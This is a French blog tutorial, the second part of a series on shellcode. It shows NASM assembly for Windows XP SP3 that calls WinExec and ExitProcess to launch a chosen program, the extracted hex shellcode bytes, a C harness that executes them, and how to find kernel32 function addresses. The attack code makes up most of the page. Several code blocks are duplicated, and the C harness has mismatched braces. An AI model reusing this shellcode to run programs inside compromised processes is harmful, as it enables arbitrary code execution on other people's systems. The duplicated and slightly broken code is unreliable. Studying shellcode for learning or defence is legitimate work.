Il nécessite que le processus cible ait les droits d'exécution sur le programme choisi. Il est prévu pour une cible sous Windows XP SP3. La méthode pour l'adapter à une autre version de Windows est également abordée dans cet article.
- plan
plan
outils
1. le shellcode
2. testez votre shellcode
3. trouvez l'adresse de WinExec et ExitProcess dans Kernel32
4. le même shellcode avec une autre chaîne de caractères
conclusion
références
- outils
- gcc
Ce programme Linux a été porté sous windows grâce à MinGW. Téléchargez l'installeur Windows sur le site officiel http://www.mingw.org/wiki/Getting_Started .
- nasm
Remarque: pour éviter de devoir à chaque fois taper tout le chemin C:\MinGW\bin\gcc et C:\Program Files\NASM, modifiez les variables d'environnement: clic droit sur Poste de Travail, Propriétés, Avancé, Variables d'environnement, PATH, Modifier. Ajoutez ;C:\MinGW\bin;C:\Program Files\NASM . Relancez votre ordinateur.
- odfhex.cpp (cf tutoriel 1ère partie, référence n°1) outil créé par Steve Hanna, pour extraire le shellcode fourni par "objdump -d" et formater une chaîne de caractères de type shellcode "\xb0\x80...". Placez odfhex.exe dans le même répertoire que votre fichier asm.
- arwin.c (cf tutoriel 1ère partie, référence n°1) outil créé également par Steve Hanna pour trouver l'adresse absolue d'une fonction windows pour une DLL donnée.
- 1 le shellcode
- copiez les lignes suivantes dans un fichier shellcode.asm:
; shellcode.asm
; raz EAX
xor eax,eax
;place exitcode 0x00 sur la pile pour ExitProcess
push eax
;place SW_HIDE (0x00) sur la pile
push eax
; place l'adresse de la chaine dans la pile
jmp short @@allerProgramme
@@retourProgramme:
; appelle WinExec
mov eax,0x7c86250d ; adresse pour WXP SP3
call eax
mov eax, 0x7c81cb12 ;exitprocess(exitcode);
call eax
@@allerProgramme:
call @@retourProgramme
db 'calc'
add al,al ; ajoute x00 à la fin de la chaine
C:\exemple> nasm -l elf shellcode.asm
C:\exemple> ld -o shellcode shellcode.o
C:\exemple> objdump -d shellcode > shellcode.tmp
C:\exemple> odfhex shellcode.tmp
"\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81"\
"\x7c\xff\xd0\xe8\xed\xff\xff\xff\x63\x61\x6c\x63\x00\xc0\xff\xff\xff"\
"\xff\xff\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00";
Les derniers opcodes sont inutiles. Voici le shellcode (30 caractères)
\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81\x7c\xff\xd0\xe8\xed\xff\xff\xff\x63\x61\x6c\x63\x00
@@allerProgramme:
call @@retourProgramme
db 'calc'
add al,al ; ajoute x00 à la fin de la chaine
C:\exemple> nasm -l elf shellcode.asm
C:\exemple> ld -o shellcode shellcode.o
C:\exemple> objdump -d shellcode > shellcode.tmp
C:\exemple> odfhex shellcode.tmp
"\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81"\
"\x7c\xff\xd0\xe8\xed\xff\xff\xff\x63\x61\x6c\x63\x00\xc0\xff\xff\xff"\
"\xff\xff\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00";
Les derniers opcodes sont inutiles. Voici le shellcode (30 caractères)
\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81\x7c\xff\xd0\xe8\xed\xff\xff\xff\x63\x61\x6c\x63\x00
- 2. Testez votre shellcode
/*shellcodetest.c*/
char code[] = "\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81\x7c\xff\xd0\xe8\xed\xff\xff\xff\x63\x61\x6c\x63\x00";
int main(int argc, char **argv)
{
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Compilez
C:\exemple> gcc -o shellcodetest shellcodetest.c
C:\exemple> shellcodetest
Compilez
C:\exemple> gcc -o shellcodetest shellcodetest.c
C:\exemple> shellcodetest
- 3. Trouver l'adresse de WinExec et ExitProcess dans kernel32.dll
WinExec est la fonction Windows permettant de lancer un programme.
UINT WINAPI WinExec(
__in LPCSTR lpCmdLine,
__in UINT uCmdShow
);
Effectuez cette procédure sur un OS de la même version que votre cible: (XP SP2, VISTA,...)
C:\exemple>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x7c86250d in kernel32.dll
C:>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x7c81cb12 in kernel32.dll
- 4 le même shellcode avec une autre chaine de caractères
Voici une autre exemple pour illustrer le fait qu'avec un long chemin, cela marche encore:
; shellcode2.asm
xor eax,eax
push eax
push eax
jmp short @@allerProgramme
@@retourProgramme:
mov eax,0x7c86250d
call eax
mov eax, 0x7c81cb12
call eax
@@allerProgramme:
call @@retourProgramme
db 'C:\Program Files\Internet Explorer\iexplore'
add al,al
et le shellcode qui va avec:
"\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81"\
"\x7c\xff\xd0\xe8\xed\xff\xff\xff\x43\x3a\x5c\x50\x72\x6f\x67\x72\x61"\
"\x6d\x20\x46\x69\x6c\x65\x73\x5c\x49\x6e\x74\x65\x72\x6e\x65\x74\x20"\
"\x45\x78\x70\x6c\x6f\x72\x65\x72\x5c\x69\x65\x78\x70\x6c\x6f\x72\x65"\
"\x00";
@@allerProgramme:
call @@retourProgramme
db 'C:\Program Files\Internet Explorer\iexplore'
add al,al
et le shellcode qui va avec:
"\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81"\
"\x7c\xff\xd0\xe8\xed\xff\xff\xff\x43\x3a\x5c\x50\x72\x6f\x67\x72\x61"\
"\x6d\x20\x46\x69\x6c\x65\x73\x5c\x49\x6e\x74\x65\x72\x6e\x65\x74\x20"\
"\x45\x78\x70\x6c\x6f\x72\x65\x72\x5c\x69\x65\x78\x70\x6c\x6f\x72\x65"\
"\x00";
- conclusion
Dans cet article, vous avez abordé une méthode rapide pour créer un shellcode court permettant de lancer n'importe quel exécutable pour lequel le processus cible a les droits d'exécution.
- références:
1) tuto shellcodes part1 - http://infond.blogspot.com/2009/09/tutoriel-initiation-aux-shellcodes.html
Aucun commentaire:
Enregistrer un commentaire